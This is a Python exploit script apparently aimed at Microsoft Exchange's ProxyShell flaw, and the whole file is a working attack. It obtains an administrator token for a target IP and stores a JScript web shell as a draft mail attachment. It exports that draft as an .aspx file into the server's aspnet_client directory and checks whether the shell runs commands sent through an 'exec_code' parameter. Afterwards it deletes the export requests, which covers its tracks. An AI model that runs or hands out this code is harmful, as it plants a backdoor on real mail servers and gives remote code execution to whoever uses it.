#!/usr/bin/env python3
# Deliver raw JScript, export to .aspx, then TRIGGER with exec_code param
import sys, time, random, base64
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def jscript(input_name="exec_code"):
    return '<script language="JScript" runat="server">function Page_Load(){eval(Request["%s"],"unsafe");}</script>' % input_name

def createitem(sidv, subj, b64, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, b64, mail)

ip = sys.argv[1]
var = sys.argv[2] if len(sys.argv) > 2 else "raw"
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]

body = jscript()
if var == "raw_hash":
    body = "#" + body
b64 = base64.b64encode(body.encode()).decode()
subj = "RAW" + P.rand_string(6)
print("draft:", "OK" if 'ResponseClass="Success"' in ps.post('/ews/exchange.asmx', createitem(ps.sid, subj, b64, ps.email), {"Content-Type": "text/xml;charset=UTF-8"}).text else "FAIL")
time.sleep(2)
for st in ('Completed','Failed','InProgress'):
    try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
    except Exception: pass
name = "z" + P.rand_string(6) + ".aspx"
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
try: print("export:", run('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -FilePath "%s"' % (ps.email, subj, unc)))
except Exception as e: print("export err", e)
url = f"https://{ip}/aspnet_client/{name}"
time.sleep(12)
for attempt in range(4):
    try:
        g = requests.get(url, verify=False, timeout=20)
        print(f"GET attempt{attempt}: code={g.status_code} len={len(g.content)}")
        post = requests.post(url, data={"exec_code": 'Response.Write("MARK_"+new Date().getTime())'}, verify=False, timeout=30)
        print(f"POST: code={post.status_code} len={len(post.content)}")
        if b'MARK_' in post.content or (post.status_code == 200 and b'MARK_' in post.content):
            print("!!!! SHELL WORKS ->", url); print(repr(post.content[:300])); break
        # try GET with query param
        g2 = requests.get(url + '?exec_code=Response.Write("Q_"+(1+1))', verify=False, timeout=30)
        print(f"GET+param: code={g2.status_code} len={len(g2.content)} has_Q2={b'Q_2' in g2.content}")
        if b'Q_2' in g2.content:
            print("!!!! SHELL WORKS (GET) ->", url); break
        if post.content: print("   body head:", repr(post.content[:200]))
    except Exception as e:
        print("attempt err", e)
    time.sleep(5)
try: run('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
except Exception: pass
